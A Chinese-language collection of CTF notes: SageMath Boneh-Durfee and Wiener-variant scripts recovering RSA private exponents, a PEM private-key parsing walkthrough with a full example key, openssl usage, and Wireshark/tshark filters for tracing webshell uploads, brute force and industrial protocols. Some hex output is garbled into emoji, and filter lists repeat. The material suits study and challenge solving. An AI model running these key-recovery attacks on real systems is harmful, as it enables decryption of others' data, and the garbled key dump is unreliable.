        BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
        # reset dimension
        nn = BB.dimensions()[0]
        if nn == 0:
            print ("failure")
            return 0,0

    # check if vectors are helpful

    if debug:
        helpful_vectors(BB, modulus^mm)

    # check if determinant is correctly bounded

    det = BB.det()
    bound = modulus^(mm*nn)
    if det >= bound:
        print ("We do not have det < bound. Solutions might not be found.")
        print ("Try with highers m and t.")
        if debug:
            diff = (log(det) - log(bound)) / log(2)
            print ("size det(L) - size e^(m*n) = ", floor(diff))
        if strict:
            return -1, -1
    else:
        print ("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

    # display the lattice basis

    if debug:
        matrix_overview(BB, modulus^mm)

    # LLL

    if debug:
        print ("optimizing basis of the lattice via LLL, this can take a long time")

    BB = BB.LLL()

    if debug:
        print ("LLL is done!")

    # transform vector i & j -> polynomials 1 & 2

    if debug:
        print ("looking for independent vectors in the lattice")
    found_polynomials = False

    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):
            # for i and j, create the two polynomials
            PR.<w,z> = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
                pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)

            # resultant
            PR.<q> = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)
      
            # are these good polynomials?
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                print ("found them, using vectors", pol1_idx, "and", pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break

    if not found_polynomials:
        print ("no independant vectors could be found. This should very rarely happen...")
        return 0, 0

    rr = rr(q, q)

    # solutions

    soly = rr.roots()

    if len(soly) == 0:
        print ("Your prediction (delta) is too small")
        return 0, 0

    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]

    #
    return solx, soly

def example():
    ############################################
    # How To Use This Script
    ##########################################

    #
    # The problem to solve (edit the following values)
    #
    
    # the modulus
    N = 
    # the public exponent
    e = 
    
    # the hypothesis on the private exponent (the theoretical maximum is 0.292)
    delta = 0.280 # this means that d < N^delta
    
    #
    # Lattice (tweak those values)
    #
    
    # you should tweak this (after a first run), (e.g. increment it until a solution is found)
    m = 4 # size of the lattice (bigger the better/slower)
    
    # you need to be a lattice master to tweak these
    t = int((1-2*delta) * m)  # optimization from Herrmann and May
    X = 2*floor(N^delta)  # this _might_ be too much
    Y = floor(N^(1/2))    # correct if p, q are ~ same size
    
    #
    # Don't touch anything below
    #
    
    # Problem put in equation
    P.<x,y> = PolynomialRing(ZZ)
    A = int((N+1)/2)
    pol = 1 + x * (A + y)
    
    #
    # Find the solutions!
    #
    
    # Checking bounds
    if debug:
        print ("=== checking values ===")
        print ("* delta:", delta)
        print ("* delta < 0.292", delta < 0.292)
        print ("* size of e:", int(log(e)/log(2)))
        print ("* size of N:", int(log(N)/log(2)))
        print ("* m:", m, ", t:", t)
    
    # boneh_durfee
    if debug:
        print ("=== running algorithm ===")
        start_time = time.time()
    
    solx, soly = boneh_durfee(pol, e, m, t, X, Y)
    
    # found a solution?
    if solx > 0:
        print ("=== solution found ===")
        if False:
            print ("x:", solx)
            print ("y:", soly)
    
        d = int(pol(solx, soly) / e)
        print ("private key found:", d)
    else:
        print ("=== no solution was found ===")
    
    if debug:
        print("=== %s seconds ===" % (time.time() - start_time))

if __name__ == "__main__":
    example()

sage脚本_维纳变形(三素数pqr)

这一段代码求d

def wiener(e, n):
    m = 12345
    c = pow(m, e, n)
    q0 = 1
    list1 = continued_fraction(Integer(e) / Integer(n))
    conv = list1.convergents()
    for i in conv:
        k = i.numerator()
        q1 = i.denominator()
        for r in range(20):
            for s in range(20):
                d = r * q1 + s * q0
                m1 = pow(c, d, n)
                if m1 == m:
                    return d
        q0 = q1

c = 
e = 
n = 

d=wiener(e, n)
print(d)
这一段代码是完整求flag的

from Crypto.Util.number import *
import gmpy2
import math
import libnum

c = 
e = 
n = 

def plus(e, n):
    m = 2
    c = pow(m, e, n)
    q0 = 1

list1 = continued_fraction(Integer(e)/Integer(n))
conv = list1.convergents()
for i in conv:
    k = i.numerator()
    #print(k)
    q1 = i.denominator()
    #print(q1)

for r in range(20):
    for s in range(20):
        d = r*q1 + s*q0
        m1 = pow(c, d, n)
        if m1 == m:
            print(r,s)
            return d

q0 = q1

d = plus(e, n)
print(d)
print(libnum.n2s(int(pow(c,d,n)))) 

PEM证书格式

  • 证书解Base64后再转换为16进制输出

    from base64 import b64decode
    import binascii
    
    s = '''MIICWwIBAAKBgHBkeHn6Q67opdN4V1S3mI0SsUuYzzm+IbXZDz4yZOMWz5nDBYuJ
    SA8rRqDtqb7mtNdTGZZx7xe6tOwleqvkXn629mgUZZegyaBdBSPnUR6IUqduqpLo
    HRavrHr1IkI6oAmDEQzi1lCZ03x0jMKuoOKp9LBhP9ijCoy9iRh9tH+FAgMBAAEC
    gYAvLn5E9oKjUpcKh2Jh9hDcaBR1n9iebOrJ5C059v3TNyg/bFdPlHnjpE8qD5tK
    wJ76JbCAL6QnWgHJgJJWxq/EAy/9SG+eApaBo94Sb2B2A1WceDf8F1idkXUOvU/3
    kd/wbw/gLZLya8WCFF4SUZx09TToMqSWDEJI4kN17pU5AQJBAJv9ShfSbaMNK31O
    kg9LSI7wFLq7iiFRl5kXvSKLsYB3HAKHNlV6/ZL1TV2jg37yf9Mi2f0Gx5AVXbwi
    /1ef9R0CQQC4c5EkR8VAw8lqePLwCkCJisXKAEOqPZFOiSCCIVnY+5J4kgiZiS33
    rskWwsYAIBHVKiXSy+5NdvWk51MeYi+JAkBiZNvmuOJVVkpXaUcyhH9JQmEhBIj1
    yVzBwbqY3trhOMCfS6DXPJRUrYzWgvzAB8Dfcn1kYHFjDkcpFD5SjGB1AkBtyKNH
    w8v820tjqu91vbRh6Q4GSBf+GL0G0IlfyrfudPXd+5VQxRxuAkM/39f3tR7IEFkI
    2UZSJw7YArMvL2N5AkEAmVGTH6DU3ygzjCtdl4/2dhonSHcEovCFWGZuCqBjYEw6
    IGYAlpOiv/BICMXrOBsdd1+4j6n1edxHSGH9q4Aoug=='''
    
    s = b64decode(s)
    
    print(binascii.hexlify(s))
    

    得到

    3082025b02010002818070647879fa43aee8a5d3785754b7988d12b14b98cf39be21b5d90f3e3264e316cf99c3058b89480f2b46a0eda9bee6b4d753199671ef17bab4ec257aabe45e7eb6f668146597a0c9a05d0523e7511e8852a76eaa92e81d16afac7af522423aa00983110ce2d65099d37c748cc2aea0e2a9f4b0613fd8a30a8cbd89187db47f8502030100010281802f2e7e44f682a352970a876261f610dc6814759fd89e6ceac9e42d39f6fdd337283f6c574f9479e3a44f2a0f9b4ac09efa25b0802fa4275a01c9809256c6afc4032ffd486f9e029681a3de126f607603559c7837fc17589d91750ebd4ff791dff06f0fe02d92f26bc582145e12519c74f534e832a4960c4248e24375ee9539010241009bfd4a17d26da30d2b7d4e920f4b488ef014babb8a2151979917bd228bb180771c028736557afd92f54d5da3837ef27fd322d9fd06c790155dbc22ff579ff51d024100b873912447c540c3c96a78f2f00a40898ac5ca0043aa3d914e8920822159d8fb9278920899892df7aec916c2c6002011d52a25d2cbee4d76f5a4e7531e622f8902406264dbe6b8e255564a57694732847f494261210488f5c95cc1c1ba98dedae138c09f4ba0d73c9454ad8cd682fcc007c0df727d646071630e4729143e528c607502406dc8a347c3cbfcdb4b63aaef75bdb461e90e064817fe18bd06d0895fcab7ee74f5ddfb9550c51c6e02433fdfd7f7b51ec8105908d94652270ed802b32f2f63790241009951931fa0d4df28338c2b5d978ff6761a27487704a2f08558666e0aa063604c3a2066009693a2bff04808c5eb381b1d775fb88fa9f579dc474861fdab8028ba
    

    这便是原始的ASN.1格式内容,首先我们要知道ASN.1是一种用来描述数据结构的抽象语法,它并不是只用来存储密钥,在ASN.1中你可以自定义你的数据类型和数值约束等条件,你可以把它理解为一种序列化数据的格式。其中数据格式如下

    数据 长度 名称 含义
    30 1 标记符 代表ASN.1结构的开始
    82 1 长度类型 代表后面跟着一个双字节长度
    025b 2 长度 代表后续内容的总长度为603字节
    02 1 类型 代表整型
    01 1 长度 代表1字节
    00 1 代表整数0
    02 1 类型 代表整型
    81 1 长度类型 代表后面跟着一个单字节长度
    80 1 长度 代表数据长度为128字节
    128 数据值1

    以此往复,所以除了最开始的标识符外,后续的内容都是由

    类型 + 长度 + 构成的,而这些值根据他们出现的位置不同有着不同的含义,例如最开始出现的值0在PEM中代表版本号信息。

    随后的数据值1代表模数。完整顺序如下

    版本
    模数 - n
    加密指数 - e
    解密指数 - d
    素因子1 - p
    素因子2 - q
    指数1 - dp
    指数2 - dq
    系数 - invert(q, p)
    其他额外信息
    

    在了解了该格式后我们就能对上面的16进制数据直接分段了

    标识头 30
    总长度 82 025b
    版本信息 0201 00
    n 028180 70647879fa43aee8a5d3785754b7988d12b14b98cf39be21b5d90f3e3264e316cf99c3058b89480f2b46a0eda9bee6b4d753199671ef17bab4ec257aabe45e7eb6f668146597a0c9a05d0523e7511e8852a76eaa92e81d16afac7af522423aa00983110ce2d65099d37c748cc2aea0e2a9f4b0613fd8a30a8cbd89187db47f85
    e 0203 010001
    d 028180 2f2e7e44f682a352970a876261f610dc6814759fd89e6ceac9e42d39f6fdd337283f6c574f9479e3a44f2a0f9b4ac09efa25b0802fa4275a01c9809256c6afc4032ffd486f9e029681a3de126f607603559c7837fc17589d91750ebd4ff791dff06f0fe02d92f26bc582145e12519c74f534e832a4960c4248e24375ee953901
    p 0241 009bfd4a17d26da30d2b7d4e920f4b488ef014babb8a2151979917bd228bb180771c028736557afd92f54d5da3837ef27fd322d9fd06c790155dbc22ff579ff51d
    q 0241 00b873912447c540c3c96a78f2f00a40898ac5ca0043aa3d914e8920822159d8fb9278920899892df7aec916c2c6002011d52a25d2cbee4d76f5a4e7531e622f89
    dp 0240 6264dbe6b8e255564a57694732847f494261210488f5c95cc1c1ba98dedae138c09f4ba0d73c9454ad8cd682fcc007c0df727d646071630e4729143e528c6075
    dq 0240 6dc8a347c3cbfcdb4b63aaef75bdb461e90e064817fe18bd06d0895fcab7ee74f5ddfb9550c51c6e02433fdfd7f7b51ec8105908d94652270ed802b32f2f6379
    inv(q,p) 0241 009951931fa0d4df28338c2b5d978ff6761a27487704a2f08558666e0aa063604c3a2066009693a2bff04808c5eb381b1d775fb88fa9f579dc474861fdab8028ba
    

    现在回到本题我们也先进行base64解码得到,因为这里是密钥的后半截,所以我们不能从前往后直接解析,需要先找到一个定位锚点,我们可以按照02先给数据初步分段

    3a1d7b10ba7f9f652b9ea83f81a15b2961e00cd63374f346a8d78f81dad1b697f3abe8eced0
    02260d89f2d12bc9395c233012b6f744a380d1d0aed78c9fb52a28d95f858c630bd3b164e857b406f541311426d64d5f0b6e0d1
    02818100befff9907f75bb7ad561131b5c76ae137bd67ae0e32b90f92b997b044277cab3dfeb84f255138127e1a4e53751a68db743a00ed8acc58f33107fe35db6b4813bc048db48bd530bcb35fba434dbb70e27d78aede2de0d4745df35a245417b8c74a31a7b55a77db45ebd6ed1dc4b3dcaa435a79dbf7240d96775372e64b58b0803
    02818077a554614c111b51dea903a8e8222be795b45948805fc6f5ea67e60ad493f117b3033ea2ee84d87c0a29a87ea38908a93e313e08fe83dc91ba8695ba969d40f243addff620ee40bda8562ff5389661efd8b9d5976bacf2bc9a1cfc54d7704c7098441b1e7253760fc7dbcef7a417082e7492e8e0808f34d830c772e800714f41
    0281801c1005fdea0c454075eb6e603dc49e2cf4abfd9fdf20be8b2d91be5650e1c2e18ccbd0dbbe0e4092b87f7ec212f812a8538247cc240e5eccd4e6c564367cece3f78b7cd482249a7dffef7a1fde0c56431a532a4283f7957a39a26ab61c39e7d81742c3ce40eea23aad40840b06ef0c3ff6362b623e8a32a715bcc6cf3b31333b
    028181008488efbea72e9abac7f71085b86e9071bece170f8c92a387aebdcc89f8915c33739609a73cacd5559b3a56fd59082ed311bab49f42ea0ba6be5e253453db0fc8b5b6aab458163b8a013121fd5c554dcc51d81c57e60f59d9d7f8f4d45fab24365da039ed8fb5401cfaff0c8aae2191ae8bd742351d11034ff0f0c32fb0586810
    

    不一定数据中出现了02就代表是数据开始的地方,因为也有可能数据中也包含02,我们要一一检验02后面的长度标识定义的长度时候符合后续数据的长度,我们会发现第一块后面的长度标识以及长度都不符合正常的定义,所以其实第一块这里的02是上一块数据中的内容而非新数据的开始标识。最终我们可以得到

    3a1d7b10ba7f9f652b9ea83f81a15b2961e00cd63374f346a8d78f81dad1b697f3abe8eced002260d89f2d12bc9395c233012b6f744a380d1d0aed78c9fb52a28d95f858c630bd3b164e857b406f541311426d64d5f0b6e0d1
    q 028181 00befff9907f75bb7ad561131b5c76ae137bd67ae0e32b90f92b997b044277cab3dfeb84f255138127e1a4e53751a68db743a00ed8acc58f33107fe35db6b4813bc048db48bd530bcb35fba434dbb70e27d78aede2de0d4745df35a245417b8c74a31a7b55a77db45ebd6ed1dc4b3dcaa435a79dbf7240d96775372e64b58b0803
    dp 028180 77a554614c111b51dea903a8e8222be795b45948805fc6f5ea67e60ad493f117b3033ea2ee84d87c0a29a87ea38908a93e313e08fe83dc91ba8695ba969d40f243addff620ee40bda8562ff5389661efd8b9d5976bacf2bc9a1cfc54d7704c7098441b1e7253760fc7dbcef7a417082e7492e8e0808f34d830c772e800714f41
    dq 028180 1c1005fdea0c454075eb6e603dc49e2cf4abfd9fdf20be8b2d91be5650e1c2e18ccbd0dbbe0e4092b87f7ec212f812a8538247cc240e5eccd4e6c564367cece3f78b7cd482249a7dffef7a1fde0c56431a532a4283f7957a39a26ab61c39e7d81742c3ce40eea23aad40840b06ef0c3ff6362b623e8a32a715bcc6cf3b31333b
    inv(q,p) 028181 008488efbea72e9abac7f71085b86e9071bece170f8c92a387aebdcc89f8915c33739609a73cacd5559b3a56fd59082ed311bab49f42ea0ba6be5e253453db0fc8b5b6aab458163b8a013121fd5c554dcc51d81c57e60f59d9d7f8f4d45fab24365da039ed8fb5401cfaff0c8aae2191ae8bd742351d11034ff0f0c32fb0586810
    

    我们发现有用的数据为q,dp,dq,inv(q,p)

from Crypto.Util.number import *

q = 0x00befff9907f75bb7ad561131b5c76ae137bd67ae0e32b90f92b997b044277cab3dfeb84f255138127e1a4e53751a68db743a00ed8acc58f33107fe35db6b4813bc048db48bd530bcb35fba434dbb70e27d78aede2de0d4745df35a245417b8c74a31a7b55a77db45ebd6ed1dc4b3dcaa435a79dbf7240d96775372e64b58b0803
dq = 0x1c1005fdea0c454075eb6e603dc49e2cf4abfd9fdf20be8b2d91be5650e1c2e18ccbd0dbbe0e4092b87f7ec212f812a8538247cc240e5eccd4e6c564367cece3f78b7cd482249a7dffef7a1fde0c56431a532a4283f7957a39a26ab61c39e7d81742c3ce40eea23aad40840b06ef0c3ff6362b623e8a32a715bcc6cf3b31333b
c = 2329206064672111950904450292941421573350591294207157652026787098178545948258554492347649016030892000747909819064473414536692222493030122267884839986067073054508582403564557167583565364976046083954888777809177108315052118912603290095925912298584322873410379937455462434313487981715516761071523410121549134193124709612876311518391130974466069686830456036397449773159386026998482557500868323733155606973727191287617806211911722356975478414165867941665666556476756617951672736466672410799762479373101996896644454778482896784598378016390592459460753042458284030795009957030383305268628413551730442224404807955926606496353

m = pow(c, dq, q)

print(long_to_bytes(m))


## openssl 格式

直接输入`openssl help`你会发现打印出来了命令列表

Standard commands
asn1parse ca ciphers cms
crl crl2pkcs7 dgst dhparam
dsa dsaparam ec ecparam
enc engine errstr gendsa
genpkey genrsa help list
nseq ocsp passwd pkcs12
pkcs7 pkcs8 pkey pkeyparam
pkeyutl prime rand rehash
req rsa rsautl s_client
s_server s_time sess_id smime
speed spkac srp storeutl
cast-cbc cast5-cbc cast5-cfb cast5-ecb
cast5-ofb des des-cbc des-cfb
des-ecb des-ede des-ede-cbc des-ede-cfb
des-ede-ofb des-ede3 des-ede3-cbc des-ede3-cfb
des-ede3-ofb des-ofb des3 desx
idea idea-cbc idea-cfb idea-ecb
idea-ofb rc2 rc2-40-cbc rc2-64-cbc
rc2-cbc rc2-cfb rc2-ecb rc2-ofb
rc4 rc4-40 seed seed-cbc
seed-cfb seed-ecb seed-ofb sm4-cbc
sm4-cfb sm4-ctr sm4-ecb sm4-ofb






这里的每一项都代表特定的算法或者证书格式,而我们这里涉及的是`rsa`,所以我们使用`openssl rsa -help`进一步查看帮助文档

Usage: rsa [options]
Valid options are:
-help Display this summary 查看帮助
-inform format Input format, one of DER PEM 指定输入格式
-outform format Output format, one of DER PEM PVK 指定输出格式
-in val Input file 输入文件
-out outfile Output file 输出文件
-pubin Expect a public key in input file 期望输入时一个公钥
-pubout Output a public key 输出公钥文件
-passout val Output file pass phrase source 给输出文件设置密码
-passin val Input file pass phrase source 输入文件的密码
-RSAPublicKey_in Input is an RSAPublicKey 指定输入是一个RSA公钥
-RSAPublicKey_out Output is an RSAPublicKey 指定输出是一个RSA公钥
-noout Don't print key out 不要打印输入的密钥内容
-text Print the key in text 用文本格式打印密钥内容
-modulus Print the RSA key modulus 打印RSA密钥的模数
-check Verify key consistency 检测密钥是否一致
-* Any supported cipher 其他参数
-pvk-strong Enable 'Strong' PVK encoding level (default) 启用“强”PVK编码级别(默认)
-pvk-weak Enable 'Weak' PVK encoding level 启用“弱”PVK编码级别
-pvk-none Don't enforce PVK encoding 不强制执行PVK编码
-engine val Use engine, possibly a hardware device 指定解析引擎




这里列出了和`rsa`证书有关的项,后面中文内容是我额外添加的释义,那么我们要查看密钥内容的话直接

openssl rsa -in key.pem -inform PEM


会发现他将密钥内容又打印了一遍,这是因为它默认就是只做解析不会有其他操作,我们需要具体指定我们想要的操作,例如`-text`以文本内容输出参数,

openssl rsa -in key.pem -inform PEM -text


此时我们得到输出

RSA Private-Key: (1023 bit, 2 primes)
modulus:
70:64:78:79:fa:43:ae:e8:a5:d3:78:57:54:b7:98:
8d:12:b1:4b:98:cf:39:be:21:b5:d9:0f:3e:32:64:
e3:16:cf:99:c3:05:8b:89:48:0f:2b:46:a0:ed:a9:
be:e6:b4:d7:53:19:96:71:ef:17:ba:b4:ec:25:7a:
ab:e4:5e:7e:b6:f6:68:14:65:97:a0:c9:a0:5d:05:
23:e7:51:1e:88:52:a7:6e:aa:92:e8:1d:16:af:ac:
7a:f5:22:42:3a:a0:09:83:11:0c:e2:d6:50:99:d3:
7c:74:8c:c2:ae:a0:e2:a9:f4:b0:61:3f:d8:a3:0a:
8c:bd:89:18:7d:b4:7f:85
publicExponent: 65537 (0x10001)
privateExponent:
2f:2e:7e:44:f6:82:a3:52:97:0a:87:62:61:f6:10:
dc:68:14:75:9f:d8:9e:6c:ea:c9:e4:2d:39:f6:fd:
d3:37:28:3f:6c:57:4f:94:79:e3:a4:4f:2a:0f:9b:
4a:c0:9e:fa:25:b0:80:2f:a4:27:5a:01:c9:80:92:
56:c6:af:c4:03:2f:fd:48:6f:9e:02:96:81:a3🇩🇪
12:6f:60:76:03:55:9c:78:37:fc:17:58:9d:91:75:
0e:bd:4f:f7:91:df:f0:6f:0f:e0:2d:92:f2:6b:c5:
82:14:5e:12:51:9c:74:f5:34:e8:32:a4:96:0c:42:
48:e2:43:75:ee:95:39:01
prime1:
00:9b:fd:4a:17:d2:6d:a3:0d:2b:7d:4e:92:0f:4b:
48:8e:f0:14:ba:bb:8a:21:51:97:99:17:bd:22:8b:
b1:80:77:1c:02:87:36:55:7a:fd:92:f5:4d:5d:a3:
83:7e:f2:7f:d3:22:d9:fd:06:c7:90:15:5d:bc:22:
ff:57:9f:f5:1d
prime2:
00:b8:73:91:24:47:c5:40:c3:c9:6a:78:f2:f0:0a:
40:89:8a:c5:ca:00:43:aa:3d:91:4e:89:20:82:21:
59:d8:fb:92:78:92:08:99:89:2d:f7:ae:c9:16:c2:
c6:00:20:11:d5:2a:25:d2:cb:ee:4d:76:f5:a4:e7:
53:1e:62:2f:89
exponent1:
62:64:db:e6:b8:e2:55:56:4a:57:69:47:32:84:7f:
49:42:61:21:04:88:f5:c9:5c:c1:c1:ba:98🇩🇪da:
e1:38:c0:9f:4b:a0:d7:3c:94:54:ad:8c:d6:82:fc:
c0:07:c0:df:72:7d:64:60:71:63:0e:47:29:14:3e:
52:8c:60:75
exponent2:
6d:c8:a3:47:c3:cb:fc:db:4b:63:aa:ef:75:bd:b4:
61:e9:0e:06:48:17:fe:18:bd:06:d0:89:5f:ca:b7:
ee:74:f5:dd:fb:95:50:c5:1c:6e:02:43:3f:df:d7:
f7:b5:1e:c8:10:59:08:d9:46:52:27:0e:d8:02:b3:
2f:2f:63:79
coefficient:
00:99:51:93:1f:a0:d4:df:28:33:8c:2b:5d:97:8f:
f6:76:1a:27:48:77:04:a2:f0:85:58:66:6e:0a:a0:
63:60:4c:3a:20:66:00:96:93:a2:bf:f0:48:08:c5:
eb:38:1b:1d:77:5f:b8:8f:a9:f5:79:dc:47:48:61:
fd🆎80:28:ba






我们可以看到,它解析出了这个一个RSA的私钥文件,里面包含

modulus - 模数 - n
publicExponent - 加密指数 - e
privateExponent - 解密指数 - d
prime1 - 素因子 - p
prime2 - 素因子 - q






可以发现这里面直接包含了我们涉及到的所有RSA参数,除了这些我们已经见过的参数之外,还包含一些其他参数,这些参数是用来进行快速解密的CRT参数,实际上他们分别是

exponent1 - dp
exponent2 - dq
coefficient - invert(p, q)


于`openssl`我们还可以使用它进行转换各类密钥格式,例如我们将密钥转换为`DER`格式

openssl rsa -in key.pem -inform PEM -outform DER -out key.der


又或者从私钥生成公钥文件

openssl rsa -in key.pem -inform PEM -pubout


## **流量分析:**

### **分析Ip:**

**分析flag.pcapng数据包文件找到黑客的IP地址,并将黑客的IP地址(**
**10.0.0.129),直接筛选arp协议**
**通过分析数据包文件flag.pcapng分析出黑客通过工具对目标服务器的哪些服务进行了密码暴力枚举渗透测试,将服务对应的端口依照从小到大的顺序依次排列作为Flag值(如:77/88/99/166/1888):**
**打开过滤框输入 ip.addr == 10.0.0.129**
**通过分析数据包文件flag.pcapng分析黑客扫描后可能直接对目标服务器的某个服务实施了攻击,继续查看数据包文件flag.pcapng分析出黑客成功破解了哪个服务的密码,并将该服务的版本号作为Flag:**
**这个简单我们直接筛选mysql协议,右键追踪tcp数据流**
**通过分析数据包文件flag.pcapng,将黑客通过数据库写入了木马,将写入的第二个木马名称作为Flag值提交:**
**通过题目是从数据库上传的筛选MySQL协议**

**通过分析数据包文件flag.pcapng,黑客通过数据库写入了木马,将黑客写入的一句话木马的连接密码作为Flag值提交:**
**Cmd**
**通过分析数据包文件flag.pcapng,找出黑客连接一句话木马后查看了什么文件,将黑客查看的文件名称作为Flag值提交:**
**这个时候我们就需要筛选http协议来看使用的命令了**
**通过分析数据包文件flag.pcapng,找出黑客已经获取到目标服务器的基本信息,请将黑客获取到的目标服务器主机名作为Flag值提交:**
**提供一个思路:我们进行过滤nbns数据包后进行追踪udp数据流可以得到主机名,WINS服务器解析(NBNS数据包),WINS服务器用于登记记录计算机NetBIOS名称和IP地址的对应关系,供局域网计算机查询。所以黑客使用工具nbtscan进行扫描的。**
**提供一个思路:我们进行过滤nbns数据包后进行追踪udp数据流可以得到主机名,WINS服务器解析(NBNS数据包),WINS服务器用于登记记录计算机NetBIOS名称和IP地址的对应关系,供局域网计算机查询。所以黑客使用工具nbtscan进行扫描的。:**
**直接进行过滤ftp-data包,追踪tcp流,显示和保存数据为原始数据然后save as导出保存为图片格式即可。**

**dns流量分析:**
**tshark -r PrivateChannel.pcap.pcapng -x 'icmp and ip.src==192.168.50.10'|grep 0010**
**经过一些摆弄数据之后,我们注意到ICMP数据包的所有IP层的标识符都在ASCII值范围(32-126)之内。最值得注意的是,当只查看从IP 192.168.50.10到ICMP的请求时,ID开始拼写“这里是你的标志” 192.168.0.50。要查看标志,在wireshark中应用过滤器,icmp and ip.src==192.168.50.10并向下滚动请求以注意标识符字节中的标志**
**网站账号分析:**
**http.host contains tribalwars 过滤tribalwars网站**
**USB流量分析:**
**tshark -r usb.pcap -T fields -e usb.capdata > usbdata.txt**
**tshark -r usb.pcap -T fields -e usb.capdata | sed '/\s*$/d' > usbdata.txt #提取并去除空行**
**键盘流量:**
**tshark -r "ez_usb.pcapng" -Y "usb.src==\"2.8.1\" && usb.dst==host" -T fields -e usbhid.data > a.txt**
**tshark -r "ez_usb.pcapng" -Y "usb.src==\"2.10.1\" && usb.dst==host" -T fields -e usbhid.data > b.txt**

**端口筛选:**

**tcp.port == 80:显示使用指定TCP端口的数据包**
**udp.port == 53:显示使用指定UDP端口的数据包**
**port 80:显示源或目标端口为指定端口的数据包**

**IP地址筛选:**
**ip.addr == 192.168.0.1:显示与指定IP地址相关的所有数据包**
**src host 192.168.0.1:显示源IP地址为指定地址的数据包**
**dst host 192.168.0.1:显示目标IP地址为指定地址的数据包**

**逻辑运算符:**

**and:使用AND逻辑运算符连接多个条件,例如 tcp and ip.addr == 192.168.0.1**
**or:使用OR逻辑运算符连接多个条件,例如 tcp or udp**
**not:使用NOT逻辑运算符排除满足条件的数据包,例如 not tcp**

**比较运算符:**

**==:等于,例如 http.request.method == "POST"**
**!=:不等于,例如 ip.addr != 192.168.0.1**
**<、>:小于、大于,例如 tcp.len > 100**

**tshark -r stego.pcap -T fields -e tcp.urgent_pointer|egrep -vi "^0$"|tr '\n' ','**

**工控类流量分析:**

**modbus流量分析:**

**modbus.func_code==06**  

**寄存器功能码**

**03:读取**
**06:写入单个**
**16:写入多个**

***\*7F\**对应的ASCII是嘛呢,原来是DEL,0D表示的是回车。**

| **0x01** | **读输出线圈**       |
| -------- | -------------------- |
| **0x02** | **读输入线圈**       |
| **0x03** | **读保持寄存器**     |
| **0x04** | **读输入寄存器**     |
| **0x05** | **写单个线圈**       |
| **0x06** | **写单个保持寄存器** |
| **0x07** | **读取异常状态**     |
| **0x0F** | **写多个线圈**       |
| **0x10** | **写多个保持寄存器** |
| **0x14** | **读取文件记录**     |
| **0x15** | **写入文件记录**     |
| **0x16** | **掩码写寄存器**     |
| **0x18** | **读取先进先出队列** |

| **事务标识(2B)** | **协议标识(2B)** | **长度(2B)** | **单元标识符(1B)** | **功能码(1B)** | **数据(nB)** |
| ---------------- | ---------------- | ------------ | ------------------ | -------------- | ------------ |
|                  |                  |              |                    |                |              |

**MMS流量分析:**

- **initiate(可以理解为握手)**

**initiate-RequestPDU**

**initiate-ResponsePDU**

- **confirmed(可以理解为交互,即传数据)**

**confirmed-RequestPDU**

**confirmed-ResponsePDU**

**(mms) && (mms.confirmedServiceRequest != 4) 查看confirmedService的值为4的数据包**

**((mms)) && (mms.domainId != "IEDRelay1") 查看domainId和IEDRelay1的数据**

**(mms) && (mms.domainId) && !(mms.itemId contains "LLN0") 查询LLNO开头数据包**

**mms.fileOpen == frsmID 查看文件操作**

**http.host==magentonotes.com**
**http.host contains magentonotes.com**
**//过滤经过指定域名的http数据包,这里的host值不一定是请求中的域名**

**http.response.code==302**
**//过滤http响应状态码为302的数据包**

**http.response==1**
**//过滤所有的http响应包**

**http.request==1**
**//过滤所有的http请求,貌似也可以使用http.request**

**http.request.method==POST**
**//wireshark过滤所有请求方式为POST的http请求包,注意POST为大写**

**http.cookie contains guid**
**//过滤含有指定cookie的http数据包**

**http.request.uri==”/online/setpoint”**
**//过滤请求的uri,取值是域名后的部分**

**http.request.full_uri==” http://task.browser.360.cn/online/setpoint”**
**//过滤含域名的整个url则需要使用http.request.full_uri**

**http.server contains “nginx”**
**//过滤http头中server字段含有nginx字符的数据包**

**http.content_type == “text/html”**
**//过滤content_type是text/html的http响应、post包,即根据文件类型过滤http数据包**

**http.content_encoding == “gzip”**
**//过滤content_encoding是gzip的http包**

**http.transfer_encoding == “chunked”**
**//根据transfer_encoding过滤**

**http.content_length == 279**
**http.content_length_header == “279″**
**//根据content_length的数值过滤**

**http.server**
**//过滤所有含有http头中含有server字段的数据包**

**http.request.version == “HTTP/1.1″**
**//过滤HTTP/1.1版本的http包,包括请求和响应**

**http.response.phrase == “OK”**
**//过滤http响应中的phrase**

### 数据包分析:

**tcp.connection.syn**过滤带有syn(SYN:发起一个新连接),数据包,⼤量的建⽴连接请求。

**过滤寻找端口** ip.src == 172.16.1.110 and ip.dst == 172.16.1.18 and tcp.connection.syn connection(连接)

查找包含login的telnet协议 **telnet contains "login"** contains(包含) telnet协议在不登录服务器的情况下,就会显示其**主机名,密码,用户等**。

**木马:into outfile**

**http contains "horse.php"** 通过查找木马文件查找传输的文件

**异常⽤户:*suictsr247*:x 503:0::/home/guest:/bin/bash**

查找:**tcp contains "suictsr247"**

**FTP登录成功的状态码是230**

**ftp contains "230" 或 ftp.response.code == 230**

ftp在进⾏⽂件传输的时候,⾛的是ftp-data协议,过滤ftp-data

找到文件,查看原始数据,ffd8为jpg文件导出为jpg

查看服务器主机名的协议有:

telnet

ssh (加密的,可以适当性忽略)

http(如果存在命令执⾏漏洞,就有可能查看主机名)

3306 mysql端口

使⽤ mysql.command 过滤规则来过滤出mysql执⾏的命令,且查询的内容是 select database(),那么就判定mysql是登录成功。

在mysql登录错误会返回1045状态码

**sql盲注分析**

http.host==magentonotes.com
http.host contains magentonotes.com
//过滤经过指定域名的http数据包,这里的host值不一定是请求中的域名

http.response.code==302
//过滤http响应状态码为302的数据包

http.response==1
//过滤所有的http响应包

http.request==1
//过滤所有的http请求,貌似也可以使用http.request

http.request.method==POST
//wireshark过滤所有请求方式为POST的http请求包,注意POST为大写

http.cookie contains guid
//过滤含有指定cookie的http数据包

http.request.uri==”/online/setpoint”
//过滤请求的uri,取值是域名后的部分

http.request.full_uri==” http://task.browser.360.cn/online/setpoint”
//过滤含域名的整个url则需要使用http.request.full_uri

